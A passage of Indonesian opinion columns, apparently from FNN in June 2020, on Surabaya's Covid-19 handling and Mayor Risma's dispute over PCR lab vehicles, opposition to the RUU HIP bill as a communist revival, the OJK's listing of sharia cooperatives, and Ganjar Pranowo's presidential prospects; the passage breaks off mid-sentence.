Penulis adalah Pemerhati Politik dan Kebangsaan.

Tegur Walikota Surabaya? Pangdam: Stop Drama!

Oleh Mochamad Toha Jakarta, FNN - Baru kali ini Pangdam V Brawijaya Mayor Jenderal TNI Widodo Iryansyah bersuara keras. Ia minta kepala daerah di Surabaya Raya, yakni Wali Kota Surabaya, Bupati Sidoarjo, dan Bupati Gresik lebih bersungguh-sungguh menangani wabah Virus Corona atau Covid-19. Mayjen Widodo menyampaikan hal tersebut karena melihat sampai saat ini kurang adanya keseriusan para kepala daerah, sehingga jumlah kasus Covid-19 justru terus meningkat di ketiga wilayah ini. “Saya minta untuk menyelesaikan masalah Covid ini jangan cuma pakai data, fakta, atau drama dan sebagainya. Mari kita real semuanya,” tegas Pangdam ketika memberi arahan dalam rapat koordinasi PSBB di Gedung Negara Grahadi, Surabaya. Seperti dilansir JPNN.com, Selasa (09 Juni 2020 – 06:45 WIB), selama ini upaya yang telah dilakukan TNI dan Polri dalam penanganan Covid-19 seperti biasa saja karena tampak seperti tidak ada keseriusan dari pemerintah daerah. Dia mencontohkan, tidak adanya aturan tegas dari Perwali atau Perbup yang dikeluarkan oleh pemerintah daerah dalam penanganan Covid-19. Akibatnya, ketika terjadi pelanggaran hanya diperingatkan biasa dan kesalahan yang sama akan diulang kembali oleh masyarakat. Tidak hanya itu, penerapan kampung tangguh juga dinilai masih kurang masif dilakukan oleh pemerintah daerah padahal itu bisa meningkatkan kesadaran masyarakat untuk tangguh dalam menghadapi virus. Seperti halnya di RW 8 salah satu kampung di Gresik yang masih menjadi zona hijau, meski dikelilingi oleh kampung yang sudah zona merah. “Apa yang dimiliki TNI-Polri kami berikan semuanya. Maka, berilah aturan Perwali dan Perbup dengan tegas dan kami siap mengawal. Masyarakat susah didisiplinkan padahal sangat sederhana untuk mengurangi covid-19, gak usah lain-lain,” katanya. Tidak hanya itu, Panglima TNI Marsekal Hadi Tjahjanto, telah memberikan arahan khusus untuk membantu daerah dalam rangka operasi pendisiplinan di tempat-tempat keramaian dari tanggal 1-14 Juni 2020. Maka, ini perlu ada dukungan pula dari pemerintah daerah untuk sama-sama ikut memerangi Covid-19. Menurut Mayjen Widodo, kerjasama yang baik akan sangat baik bagi percepatan penanganan Covid-19, sebab per hari ini saja ada tambahan sebanyak 365 kasus baru di Jatim, tertinggi secara nasional. Kapolda Jatim Irjen Mohammad Fadil Imran juga meminta hal yang sama kepada pemerintah daerah. “Kita hilangkan ego, kita harus hilangkan kepentingan sektoral, kita ikhlas sehingga masyarakat kita bebas dari Covid-19,” ungkapnya. Sebab, dibutuhkan kerjasama semua pihak dalam memerangi Covid-19 agar tidak menyebar semakin masif di masyarakat. TNI dan Polri telah memberikan perhatian penuh kepada Jawa Timur untuk segera mengatasi masalah Covid-19. Kapolda mencontohkan, seperti dukungan tenaga kesehatan dan perlengkapan kesehatan dari TNI dan Polri, kemudian adanya dukungan anggaran maupun bentuk fisik untuk mendukung keberadaan kampung tangguh. “Saya harap reaksi cepat agar dari hulu bisa kita perbaiki dan bila perlu yang disampaikan panglima perlu komitmen dan pernyataan intergritas bersama,” pungkasnya. Drama Risma Peringatan keras Pangdam V Brawijaya Mayjen TNI Widodo Iryansyah saat Rakor PSBB di Gedung Negara Grahadi itu rupanya diarahkan ke Walikota Surabaya Tri Rismaharini yang videonya viral di berbagai media, Jum’at, 29 Mei 2010. Dalam video berdurasi 52 detik itu, Risma tampak sedang duduk menelpon seseorang dari dalam sebuah tenda, Jumat 29 Mei 2020. Mengenakan rompi hitam dan kaos merah dan berjilbab merah, Risma duduk dan dikelilingi beberapa anak buahnya. Melansir Vivanews.co.id, Jumat (29 Mei 2020 | 16:47 WIB), Risma terlihat betul-betul marah dengan pengalihan dua mobil BNPB untuk warga Surabaya yang dialihkan ke daerah lain itu. Tidak jelas dengan siapa ia berbicara di telepon genggam. Mengetahui 2 mobil PCR permintaannya “diserobot” Gugas Tugas Percepatan Penanganan Covid-19 Jatim, Risma pun melaporkan langsung pada Kepala BNPB Doni Monardo, pihak yang dimintai bantuan secara langsung oleh Risma. “Dapat sms, dapat WA-nya pak Joni, Kohar. Kalau itu untuk Surabaya. Opo-opoan (Apa-apaan) gitu lo pak, kalau mau boikot jangan gitu pak caranya,” ungkap Risma dengan nada emosional dalam percakapan di telepon genggam itu. “Saya akan ngomong ini ke semua orang. Pak, saya ndak terima lo pak. Betul saya ndak terima pak. Saya dibilang ndak bisa kerja. Siapa yang ndak bisa kerja sekarang,” kata Risma berang. Kemarahan Risma itu terkait bantuan 2 unit mobil Polymerase Chain Reaction (PCR) BNPB yang, konon, diserobot Gugus Tugas Percepatan Penanganan Covid-19 Jatim. Risma berbicara dengan nada keras. Risma mengamuk karena dua mobil PCR bantuan dari BNPB untuk Surabaya justru diserobot Gugus Tugas (Gugas) Covid-19 Jatim dan dialihkan ke daerah lain. Yang sangat menarik perhatian tentunya saat Risma juga dengan lantang menyebut dua nama petinggi PDIP yang kini menjabat di pemerintahan pusat, yakni Puan Maharani (Ketua DPR-RI) dan Pramono Anung (Sekretaris Kabinet). “Kalau mau ngawur nyerobot gitu. Siapa yang ndak bisa kerja. Boleh dicek ke Pak Pramono Anung. Boleh ditanya ke Mbak Puan,” tegas Risma. Kepada wartawan, Risma membeberkan bukti chatting dirinya dengan Kepala BNPB Doni Monardo soal permintaan bantuan mobil PCR secara khusus untuk warga Surabaya. “Teman-teman lihat sendiri kan, ini bukti permohonan saya dengan pak Doni, jadi ini saya sendiri yang memohon kepada beliau. Kasihan pasien-pasien yang sudah menunggu,” kata Risma. Ternyata, amarah Risma itu salah alamat. Mobil laboratorium Bio Safety Level 2 (BSL-2) itu, menurut Doni, dikirim ke Jatim untuk membantu pemeriksaan spesimen. “Pengiriman 2 unit mobil BSL-2 ini bisa membantu Pemprov Jatim,” tegas Doni. Di sini jelas sekali, itu bukan untuk Surabaya! Jadi, kemarahan Risma terkait bantuan 2 unit mobil Polymerase Chain Reaction (PCR) dari BNPB yang, konon, diserobot Gugus Tugas Percepatan Penanganan Covid-19 Jatim itu “salah alamat”. Dipastikan, Risma tidak mendapat informasi akurat dari bawahannya. Inikah yang dimaksud Pangdam Brawijaya itu sebagai “drama” penanganan Covid-19 tersebut? Seperti kata Pangdam Brawijaya, mari kita real semuanya. “Jangan cuma pakai data, fakta, atau drama dan sebagainya!” Penulis Wartawan Senior.

Golkar Garindra Nasdem Demokrat, Kembalilah ke Jalan Yang Benar

by M Rizal Fadillah Jakarta FNN – Rabu (10/06). Empat Partai Politik yang mempunyai Fraksi di Parlemen yaitu Golkar, Gerindra, Demokrat, dan Nasdem memiliki akar dan keberangkatan yang sama. Sama-sama punya sejarah menjadi bagian dari Golkar. Sementara Golkar dilahirkan untuk melawan upaya membelokan haluan dan idelogi Negara dari Pancasila ke komunis. Ketua Umum dari tiga Partai, yaitu Prabowo, SBY, dan Surya Paloh memiliki kesejarahan politik yang sama. Pernah berkiprah atau menjadi bagian dari Golkar. Bahkan Surya Paloh pernah menjadi Ketua Dewan Penasehat Partai Golkar, Prabowo pernah ikut Konvensi Partai Golkar, dan SBY dari jalur A (ABRI) keluarga besar Golkar karena pernah menjadi Kasospol ABRI. Adapun Partai Golkar, yang awalnya adakah Sekber Golkar itu, didirikan untuk mengantispasi dan melawan eskalasi politik komunis-PKI di masa Orde Lama. Orde kekuasaan yang sangat dekat dan mengakomodasi aliran politik komunisme melalui perjuangan Partai Komunis Indonesia (PKI). Partai yang ingin mengganti idoelogi Negara dari Pancasila ke komunis. Agak ironis ketika Rancangan Undang-Undang (RUU) Haluan Ideologi Pancasila (HIP) yang oleh publik dan masyarakat awam disebut berbau Komunis dan Orde Lama. Namun empat Partai tersebut, baik Golkar, Gerindra, Demokrat, maupun Nasdem justru mendukung disahkannya RUU HIP sebagai inisiatif Dewan. Padahal konten dari RUU HIP ini, terbaca secara kasat mata dapat disebut "nyeleneh" dan "mundur ke belakang". Mengancam eksistensi ideologi Pancasila. Semua tahu dalam RUU HIP ini Tap MPRS No XXV/MPRS/1966 yang berhubungan dengan PKI dan larangan penyebaran ajaran Komunisme/Marxisme-Leninisme telah di "outkan" dari Konsiderans. Lalu Pancasila, Trisila, Ekasila tertuang secara eksplisit dalam Pasal, serta nilai-nilai Agama dan Ketuhanan yang diberi alas Kebudayaan. Agama yang direndahkan setara dengan kebudayaan. Jika tetap berjalan mulus skenario politik bahwa wujud RUU HIP ini menjadi Undang-Undang, maka keempat partai di atas tentu dapat dipandang oleh rakyat dan bangsa Indonesia telah berubah seperti "kacang yang lupa dari kulitnya". Lupa terhadap cita-cita mulia kelahiran Sekber Golkar dulu. Lupa bahwa komunis pernah menjadi musuh utama Pancasila. Lebih berat predikatnya adalah” telah menghianati" misi awal dari kelahirannya. Kelahiran yang anti terhadap bahaya PKI dan komunisme. Nilai reljjiusitas yang dihormati dan dijunjung tinggi telah diabaikan. Sekularisme dan pragmatisme politik telah menjadi pilar utama dalam membuat setiap keputusan penting menyangkut keselamatan bangsa dan negara. Saatnya Golkar, Gerindra, Demokrat dan Nasdem melakukan koreksi diri. Koreksi terhadap sikap politik yang mengentengkan atau menggangp remeh masalah. Sehingga RUU HIP yang sangat kental bernuansa Orde Lama, dan komunis-PKI ini dapat lolos dengan mudah di senayan. Jika telah menjadi Undang-Undang, maka dipastikan akan menjadi masalah baru. Dapat dijadikan sebagai landasan untuk melakukan sosialisasi Pancasila dalam versi yang keluar dari makna dan rumusan 18 Agustus 1945. Konsensus tentang Pancasila yang dicapai dengan susah payah itu, akhirnya justru hancur. Konflik ideologi pun terpaksa harus terjadi lagi. Energi besar bangsa ini akan tersita untuk membicarakan kembali persolan ideologi Negara. Masalah yang sudah disepakati oleh para pendiri bangsa 75 tahun silan. Kesepakatan yang dibuat pada tanggal 18 agustus 1945. Akibatnya, pembangunan di bidang ekonomi untuk mengejar ketertinggalan dengan bangsa-bangsa lain menjadi terabaikan kembali. Padahal tujuan kita bernegara adalah memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa dan ikut melaksanakan ketertiban dunia. Golkar, Gerindra, Demokrat, dan Nasdem kembalilah ke jalan yang benar. Jalan adil dan konsensus. Bukan terbawa arus permainan kekuasaan yang menyandera. Koalisi adalah hal yang wajar, tetapi kemandirian ideologis harus tetap terjaga. Sayangnya, RUU HIP telah membuat langkah goyah dalam perspektif ideologi Pancasila yang mulai tersimpangkan. Pancasila jangan sampai dibarter dengan angka dan kekuasaan. Jangan karena sejumput kekuasaan telah mengubah pendirian dan belok dari prinsip dan cita-cita perjuangan. Lalu terjajah oleh dinamika. Akhirnya rakyat merasa dikorbankan oleh permainan yang sebenarnya tidak menyentuh kepentingan rakyat. Aspirasi rakyat yang menolak RUU HIP semoga ditangkap. Muatan Haluan Ideologi Pancasila bukan porsinya Undang-Undang, tetapi menjadi Ketetapan MPR. Keliru menurunkan Pancasila menjadi nilai instrumental. Rakyat menolak karena ada "down grade" kewibawaan ideologi Pancasila. Undang-Undang itu bukan tempat yang tepat untuk mengatur "staats fundamental norm". Moga pada tahapan ini, pilihan cerdas dan jernih dapat diambil. Segara tarik dan hentikan pembahasan RUU HIP tersebut. Bawa permasalahan idelogi Negara ini ke ruang yang lebih terhormat dan tepat menurut Konstitusi. Tempat untuk menuangkan "Haluan Ideologi Pancasila" sebagai produk hukum yang paling tepat adalah di MPR. Harus dibuat dalam bentuk Ketetapan MPR. Bukan keputuan DPR dan pemerintah. Untuk itu, kembalilah ke jalan yang benar. Penulis adalah Pemerhati Politik dan Kebangsaan.

OJK Mau Bunuh Koperasi Syari'ah?

by Tony Rosyid Jakarta FNN – Selasa (09/06). Dua hari jelang lebaran, tepatnya tanggal 22 Mei, Otoritas Jasa Keungan (OJK) via Satgas Waspada Investasi kirim parsel lebaran. Sebagai hadiah untuk sejumlah fintech yang dituduh berkedok koperasi. Sebagian besar koperasi pesantren. Tentu saja, ini bukan hadiah yang menggembirakan buat pelaku koperasi dari OJK. Para pelaku koperasi akhirnya meradang. Marah sejadi-jadinya. Ada 50 fintech ilegal yang berkedok simpan pinjam koperasi (KSP), katanya. Tongam L. Tobing, Ketua Satgas Waspada Investasi mengatakan bahwa penggunaan aplikasi Koperasi Simpan Pinjam ilegal itu bertujuan untuk mengelabui masyarakat seakan-akan penawaran pinjaman Online itu memiliki legalitas dari kementerian koperasi. Ilegal? Mengelabui? Dua kata yang menyakitkan! Kata pelaku koperasi itu. Sebanyak 50 fintech berkedok koperasi itu diantaranya adalah Koperasi Syariah 212. Namanya ditaruh paling atas. Nomor wahid. Apakah dianggap paling bermasalah? Dosanya paling besar? atau faktor apa? Belum ada keterangan yang jelas. Biasanya, urutan itu berdasarkan abjad, atau berdasarkan banyak dan besarnya masalah. Kalau abjad, sepertinya tidak. Koperasi Syariah 212 tidak diawali dengan huruh "A". Kalau berdasarkan tingkat masalah, maka muncul pertanyaan, apakah Koperasi Syariah 212 paling bermasalah? Sehingga perlu ditempatkan di nomor satu? Selain Koperasi syariah 212. ada banyak koperasi pesantren. Sekitar 50 koperasi yang fintech dituduh "mengelabui" umumnya adalah koperasi pesantren. Apakah 50 koperasi yang mayoritas berbasis syariah ini penipu? Menggunakan fintech untuk mencuri uang nasabah? Onde mande! Koperasi syariah menipu? Koperasi pesantren menipu? Koperasi syariah 212 menipu? Pertanyaan-pertanyaan ini muncul di tengah masyarakat pasca konferensi pers Tongam L. Tobing. Geger! Sejumlah anggota dan nasabah koperasi banyak yang panik. Mereka gusar. Termasuk partner bisnisnya. Terjadilah gelombang protes. Kepada siapa? OJK. Khususnya kepada Satgas Waspada Investasi. Wabil khusus lagi kepada ketua Satgasnya, Tongam L. Tobing. Dia orangnya "menteri segala urusan" (ASU) ya? Tanya seorang pemprotes. Waduh... Ini sudah nggak sehat. Nggak boleh bawa-bawa nama orang lain. Jangan kaitkan dengan nama seseorang. Proporsional saja. Kembali saja pada pokok masalah. Tuduhan terhadap fintech koperasi. Titik! Ini sengaja mau bunuh koperasi syariah ya? Diumumkan jelang lebaran, ditaruh nomor satunya adalah Koperasi Syariah 212 Apalagi ini bukan bagian dari kewenangan OJK. Tapi kewenangan Kemenkop. Berbagai persepsi dan opini muncul. Bermacam-macam. Apa inti dari semua opini dan persepsi yang muncul? Intinya bahwa Umat Islam, terutama yang bergerak di usaha koperasi ini marah. Bahkan sangat marah. Tak sedikit yang mengaitkan dengan isu SARA. Ngeri-ngeri sedap begitu! Bahkan para pemprotes mempertanyakan sejumlah pihak yang mestinya ikut bersuara terkait kejadian ini. Dimana pejuang Ekonomi syariah MUI? Dimana DSN (Dewan Syariah Nasional) ? Dimana DPS ? Dimana MES (Masyarakat Ekonomi Syariah)? Dimana IAEI (Ikatan Ahli Ekonomi Indonesia)? Mereka kesal, karena merasa tak dibela. Mari kita tunggu konfirmasi lembaga-lembaga yang wow dan mentereng namanya itu. Protes dilayangkan ke OJK, dan meminta Tongam L. Tobing, Ketua Satgas Waspada Investasi, memberi penjelasan dan mempertanggungjawabkan pernyataannya. Setelah didesak oleh sejumlah pihak, tanggal 29 Mei, Tongam L Tobing pun minta maaf. Sebanyak 35 dari 50 koperasi yang umumnya berbasis syariah direhabilitasi namanya. Kok cuma lisan? Tertulis dong, kata para pemprotes. Gak puas! Polisikan dia, kata pemprotes yang lain. Bahkan Inkopontren (Induk Koperasi Pesantren) dan Dekopin, meminta OJK dibubarkan. Hal yang sama pernah disuarakan oleh DPR di bulan januari lalu. Kembalikan saja kewenangan ini ke Bank Indonesia (BI) dan Menteri Keuangan. Makin seru nih! Soal terkait isu SARA atau tidak, adakah pemain di belakang tuduhan Tongam L. Tobing ini atau tidak, banyak pihak yang sedang mengamati. Yang pasti, ekonomi berbasis syariah, termasuk melalui jalur koperasi, jauh ketinggalan dibanding jalur konvensional. Sudah 30 tahun bank syariah beroperasi, hanya mampu mengelola lima persen dari semua dana nasabah perbankan di Indonesia. Ini berbeda dengan di Malaysia. Bank syariah hampir 40 persen kelola dana nasabah perbankan nasional di Malaysia. Sudah kecil, dianggap ilegal lagi. Alaaah maaak... Kasihan juga nasibmu! Bangkit dong... Penulis adalah Pengamat Politik dan Pemerhati Bangsa

RUU HIP Dosa Politik PDIP

by M. Rizal Fadillah Jakarta FNN – Selasa (09/06). Rancangan Undang-Undang (RUU) inisiatif Dewan ini diawali oleh usulan Fraksi PDI. Berlanjut menjadi RUU prioritas tahun 2020. RUU Haluan Ideologi Pancasila (HIP) dengan konten ideologi negara menimbulkan pro dan kontra di masyarakat. Pro-kontra yang keras dan serius. Rieke Diah Pitaloka sebagai Ketua Panja telah berhasil membawa RUU ke Rapat Paripurna dan mendapat ketukan palu persetujuan "kontroversial" dari Ketua DPR Puan Maharani, yang juga kader PDIP. Sebagai pemenang Pemilu dan memiliki suara mayoritas di Parlemen, PDIP tentu memiliki pengaruh politik. Apalagi Presiden pun menjadi bagian darinya. Eksekutif dan Legislatif berkonfigurasi dalam kepentingan bersama melalui Koalisi. Faktor ini membuat RUU HIP mendapat kemudahan dan dukungan dominan, dengan delapan Fraksi setuju, dan satuFraksi, yakni PKS, tidak setuju. RUU HIP ditetapkan sebagai RUU Inisiatif DPR. Masalah bagi rakyat adalah kontroversi muatan RUU yang berbicara tentang ideologi Pancasila. Ada ketetapan strategis yang tidak dimasukkan sebagai konsiderans, yaitu Tap MPRS No XXV/MPRS/1966. Lalu pasal yang "mundur" soal Pancasila, Trisila, dan Ekasila. Masalah rumusan Pancasila 1 Juni 1945. Serta kedudukan "Ketuhanan" dan "Agama" yang terkesan dikecilkan. Publik menyebut RUU HIP ini berbau "kiri" bahkan komunisme. Tentu secara politik sorotan ini hakekatnya menjadi dosa politik dari PDIP yang mungkin dapat merugikannya. Sekurang-kurangnya terdapat lima hal yang merugikan PDIP. Pertama, PDIP akan dianggap sebagai partai nasionalis berbasis kiri. Atau sekurangnya tersusupi oleh kader kader berhaluan kiri (leftist). Memproduk RUU bernarasi beda dengan sila-sila Pancasila, yang menjadi hasil dan konsensus 18 Agustus 1945. Kedua, Soekarno yang yang menjadi simbol perjuangan sekaligus tokoh bangsa, mulai mendapat sorotan atau terjadi "bongkar bongkar borok" yang sebenarnya tak perlu. Hubungan Soekarno dengan PKI diangkat kembali. Akibatnya, citra Soekarno tidak menjadi bagus. Ketiga, penetapan hari lahir Pancasila 1 Juni 1945 digugat kembali. Diragukan keabsahannya, baik secara historis maupun secara hukum ketatanegaraan. Bila rumusan 1 Juni 1945 menjadi basis pembahasan RUU, maka umat Islam mendapat kesempatan untuk membangkitkan kembali rumusan Pancasila 22 Juni 1945. Rumusan yang diakui pula oleh Soekarno. Keempat, PDIP yang awalnya berslogan sebagai partai rakyat, dengan kemenangannya, justru terkesan menjadi partai yang semata-mata berkhidmat pada kekuasaan. Benturan kepentingan dengan aspirasi kerakyatan, khususnya umat Islam, dalam konteks RUU HIP dapat menjadi kenyataan. Kelima, RUU HIP dengan kontroversinya, bisa saja dengan segala upaya menjadi Undang Undang. Tetapi ini akan menjadi bom waktu bagi munculnya gumpalan kekuatan yang akan mempersoalkan secara terus menerus. Bagi PDIP atau Pemerintah, hal ini dapat mengganggu realisasi program strategis lain yang mungkin dinilai lebih penting dan perlu. Oleh karenanya demi mempertahankan semangat kebersamaan dan menghindari benturan friksi, bahkan konflik akibat "otak atik" ideologi negara yang sudah final, baiknya RUU HIP ditarik kembali dan tidak menjadi agenda pembahasan. Gagalnya RUU HIP menjadi UU adalah keselamatan bangsa. Rakyat sudah mulai khawatir, dan berbicara tentang kebangkitan PKI dan komunisme. Hal ini disebabkan oleh blunder politik dalam pengajuan RUU Haluan Ideologi Pancasila. RUU HIP bisa diplesetkan menjadi RUU HIV. Virus yang merusak sistem kekebalan ideologi negara. Virus HIV juga sekaligus sindroma dari penyakit yang berbahaya dan menular. AIDS bias menjadi virus yang menghancurkan tatanan Negara Kesatuan Republik Indonesia (NKRI). Karenanya plihan itu hanya satu, yaitu tolak RUU HIP, apapun resikonya...! Penulis adalah Pemerhati Politik dan Kebangsaan.

Waspadai Ganjar Pranowo!

Oleh Hersubeno Arief Jakarta, FNN - Senin (08/06). Siapapun yang berniat menjadi presiden, mulai sekarang harus mewaspadai Ganjar Pranowo. Termasuk internal PDIP yang berminat menjadi penerus Jokowi. Dia bakal menjadi penantang yang cukup serius. Bila kita jeli mengamatinya, mesin politik Gubernur Jawa Tengah ini sudah mulai bekerja. Bukan lagi sekedar dipanaskan. Silakan perhatikan aktivitasnya di media sosial. Sangat aktif. Mulai dari bertemu warga, sidak ke berbagai aktivitas perkantoran, inspeksi jalan, sampai aksinya turun dari mobil, mengatur lalu lintas, ketika terjadi kemacetan. Di musim pandemi Corona, Ganjar juga terlihat eksis. Dia bahkan tak sungkan menjadi host di channel akun youtubenya. Mewawancarai virolog, tenaga medis Dll Tampil super santai. Mengenakan kaos oblong dengan tulisan “Bersama Lawan Corona.” Memakai sarung kain batik dan hanya mengenakan sandal kulit. Sangat informal. Beberapa hari berselang Ganjar juga terlihat terjun langsung ke Bandara Ahmad Yani, Semarang. Dia memberi petunjuk teknis secara detil agar calon penumpang diatur tidak bergerombol. Kesan yang ingin dibangun, Ganjar sangat responsif dan merakyat. Tak segan turun tangan langsung ke lapangan. Barangkali karena aktivitasnya itu lembaga survei Indikator Politik menyebut Ganjar sebagai kepala daerah yang elektabilitas naik di tengah pandemi. Pada Februari 2020 elektabilitas berada di 9,1 persen. Pada Mei 2020, naik menjadi 11,8 persen. Sebagai capres, dia berada di posisi kedua setelah Prabowo yang elektabilitasnya anjlok dari 22,2 persen menjadi hanya 14,1 persen. Sebaliknya Gubernur DKI Anies Baswedan yang kiprahnya menangani pandemi dipuji komunitas internasional, elektablitasnya malah turun. Dari semula 12,1 persen menjadi 10,4 persen pada Mei 2020. Itu kalau kita percaya dengan data yang dilansir oleh Indikator Politik. Sebab survei lembaga lain menunjukkan angka sebaliknya. Survei Indobarometer pada akhir Februari melansir data elektabilitas Gubernur DKI Anies Baswedan paling tinggi. Sangat jauh dibandingkan kepala daerah di Jawa. Termasuk Gubernur Jabar Ridwan Kamil dan Gubernur Jatim Khofifah. Dia menjadi kepala daerah terkuat sebagai capres. Angkanya 31,7 persen. Sementara Ganjar yang berada di urutan kedua angkanya terpaut sangat jauh, hanya 11,8 persen. Lembaga survei Median merilis data akhir April lalu menempatkan Anies sebagai gubernur yang paling jitu menangani Corona. Angkanya juga jauh di atas Ganjar. Selisih lebih dari satu digit. Anies Baswedan 24,1 persen, sementara Ganjar hanya 9,6 persen. Biasanya kepuasan atas kinerja, berbanding lurus dengan elektabilitas. Tapi biarlah itu menjadi urusan lembaga survei. Sejauh ini toh publik sudah sama-sama maklum, lembaga survei banyak digunakan sebagai bagian dari strategi pemenangan. Yang bisa kita simpulkan saat ini, Ganjar dan timnya, atau setidaknya sekelompok orang yang menjagokannya, sedang serius bekerja. Mereka tampaknya sangat menyadari bencana pandemi Covid bisa berubah menjadi bencana politik. Tak ada salahnya bergerak cepat, tanpa harus menunggu Pilpres 2024. Jangan sampai terlambat. Meniru track Jokowi Bagaimana kira-kira skenario yang disiapkan untuk Ganjar? Kalau kita amati cara mainnya tidak akan beda jauh dengan kemunculan Jokowi pada Pilpres 2014. Tracknya akan sama, namun dengan berbagai modifikasi dan berbagai penyesuaian. Saat itu sebagai Ketua Umum PDIP Megawati menginginkan kembali maju Pilpres. Namun Megawati dikepung dan dibombardir dengan hasil survei, opini pengamat, dan pemberitaan media. Megawati di fait-accomply bila PDIP ingin memenangkan pemilu sekaligus memenangkan pilpres, maka Jokowi lah yang harus dicalonkan. Bukan dia. Megawati yang biasanya kukuh pada pendirian, berani menentang arus, akhirnya tunduk juga. Dia menyerahkan tiket ke Jokowi. Capres yang diusung PDIP itu menang Pilpres 2014, tapi suara PDIP kendati menjadi partai pemenang, tidak melonjak seperti yang digembar-gemborkan pengamat dan lembaga survei. Celakanya dalam perjalanan waktu, Jokowi juga tidak sepenuhnya berada dalam kendali PDIP. Ibarat kata dia yang menanam, orang lain yang panen raya. Megawati terpaksa harus sering mengingatkan bahwa Jokowi adalah “petugas partai.” Skenario serupa bisa kembali digunakan Ganjar. Sampai sejauh ini naga-naganya Megawati ingin mengajukan putrinya Puan Maharani. Dia disebut-sebut akan dipasangkan sebagai cawapres Prabowo Subianto. Keinginan yang sangat wajar bila Megawati tetap ingin mempertahankan trah Soekarno dalam tampuk kekuasaan nasional. Apalagi sebagai Ketua umum partai, dia sudah memegang tiket. Mosok harus diserahkan ke orang lain. Tragedi pencalonan pada Pilpres 2014, jangan sampai kembali terulang. Masalahnya berbeda dengan Megawati, figur Puan tidak sekuat ibunya. Berbagai lembaga survei juga tidak pernah menempatkan nama Ketua DPR itu sebagai kandidat yang diperhitungkan. Sangat mudah bagi siapapun, termasuk Ganjar dan timnya untuk mendowngrade dan kemudian menyingkirkan Puan dari perebutan tiket yang dimiliki PDIP. Sementara figur Prabowo yang bakal dipasangkan dengan Puan juga tidak kuat-kuat amat. Benar saat ini dia termasuk kandidat dengan elektabilitas yang tinggi, namun dengan trend yang terus menurun. Bila benar Ganjar yang akhirnya mendapat tiket PDIP, maka dia akan menjadi kandidat yang harus diperhitungkan oleh siapapun, termasuk Anies. Sebagai kandidat dari partai nasionalis, mengendalikan Jateng sebagai salah satu lumbung suara di Indonesia, dia tinggal mencari cawapres yang tepat. Gubernur Jatim Khofifah akan menjadi salah satu calon yang sangat ideal digandeng Ganjar. Koalisi PDIP-PKB sudah cukup untuk mengajukan calon sendiri. Duet mereka akan menjadi perpaduan sempurna. Nasionalis-Islam, lelaki-perempuan. Jangan lupa jumlah suara Jatim dan Jateng secara nasional menempati posisi kedua dan ketiga terbanyak. Modal mereka sangat kuat. So, mulai sekarang waspadai lah Ganjar Pranowo. Jangan anggap remeh. End. Penulis adalah Wartawan Senior.

RUU HIP Rawan Bikin Perpecahan Bangsa

by M. Rizal Fadillah Jakarta FNN – Senin (08/06). Rakyat tidak tinggal diam. Perhatikan suara publik yang beredar di media sosial. Betapa kritisnya masyarakat menilai bahaya Rancangan Undang-Undang Haluan Ideologi Negara (RUU HIP). Penolakan terjadi dimana-mana. Umat Islam dan kelompok anti komunis menggelindingkan, dan mengangkat isu kebangkitan komunis- PKI. Umat Islam menghawatirkan UU HIP kelak bakal dijadikan sebagai alat dan sarana untuk pengembangan faham Komunisme/Marxisme-Leninisme secara terselubung. Ini berbahaya. RUU HIP yang cacat yuridis, filosofis, dan sosiologis ini tidak layak untuk ditetapkan sebagai Undang-Undang. Muatan politik sangat kental. Partai pemenang pemilu mencoba menggoyang dengan bermain licik di RUU HIP. Rakyat tidak sebodoh yang kalian duga dan bayangkan. Rakyat tidak lagi mudah terkecoh dengan permainan licik ini. Secara yuridis RUU ini bermasalah karena ditetapkan oleh DPR dengan rekayasa. Diketuk palu bulan Ramadhan menjelang buka, dihadiri fisik hanya 41 anggota DPR, kehadiran virtual yang tak sehat dengan ruang sempit untuk menyampaikan pendapat. Pengambilan keputusan yang dipaksakan. Bagaimana ada satu fraksi, artinya ada sejumlah anggota, yang tidak setuju lalu bisa diketuk palu dengan putusan aklamasi ? Jelas Melanggar hukum dan melanggar asas demokrasi. Secara filosofis, masalah ideologi negara ini tidak patut menjadi muatan sebuah Undang Undang. Sebagai "Staats Fundamental Norm" persoalan haluan ideologi negara hanya bisa diatur pada tingkat Konstitusi atau sekurang-kurangnya pada level Ketetapan MPR. Garis-garis Besar Haluan Negara (GBHN) saja yang kontennya lebih rendah dari "Haluan Ideologi" negara, diamanatkan oleh para "The Founding Fathers" untuk menjadi kewenangan MPR. Bukan kewenangan DPR dan Pemerintah. Jangan ngaco dan ngawur. Secara sosiologis, telah merebak penolakan publik atas RUU HIP yang diusulkan awal oleh Frkais PDIP ini. Bukan hal yang mustahil penolakan tersebut, bergerak dari diskusi dan pernyataan politik menuju aksi aksi unjuk rasa. Sebagai bentuk penggunaan hak rakyat yang dilindungi oleh Undang-Undang. Jika tetap dipaksakan juga, maka pasti kegaduhan baru telah diciptakan oleh DPR dan Pemerintah. Seharusnya perasatuan yang diciptakan. Pemerintah tentu saja memiliki pekerjaan rumah yang tak perlu. Soal komunisme dan kebangkitan PKI adalah isu politik yang sangat sensitif. Ingat itu. Secara hokum, bisa saja nantinya dipilih upaya gugatan Judicial Review ke Mahkamah Konstitusi. Akan tetapi skeptisme publik dapat mengambil pilihan lain. Unjuk rasa besar-besaran yang lebih besar dari perserta aksi 212. Besar karena melibatkan semua kerlompok agama. Atau keduanya. Oleh karena itu di samping ini menjadi ujian bagi DPR untuk mengubah peta konfigurasi kepentingan di dalam. Juga menjadi tantangan bagi Pemerintah untuk berpihak pada suara rakyat. Caranya, dengan menolak hadir membahas RUU HIP yang diusulkan DPR itu menjadi UU. Bila Pemerintah lunak dan hanya ikut alur, maka rakyat dapat berasumsi bahwa RUU HIP meski merupakan hak usul inisiatif dewan, tetapi kenyatannya adalah "permainan" juga dari Pemerintah. Koalisi adalah kepanjangan tangan eksekutif di lembaga legislatif. Koalisi itu kolusi dan kooptasi. Demi mencegah terjadinya desintegrasi nasional akibat salah kaprah dengan bermain-main di aras ideologi Pancasila, maka sebaiknya diambil jalan opsional. Pertama, DPR menarik kembali RUU ini dan tidak melanjutkan pembahasan dengan Pemerintah. Mengingat kan dampak buruk yang diakibatkan. Kedua, melanjutkan pembahasan tetapi dengan ujung keputusan tidak menetapkan RUU HIP menjadi Undang Undang. Konsekuensi logis dari RUU yang cacat hukum, kezaliman filosofis, dan daya dukung publik yang minim. Rakyat tidak ada yang menduking. Ini hanya akal-akalan DPR dan pemerintah saja. Dalam situasi pandemi Covid 19 yang membutuhkan konsentrasi dan penanganan serius, janganlah ada kelompok kepentingan yang mencoba melakukan penelikungan atas ideologi Pancasila. RUU HIP ini 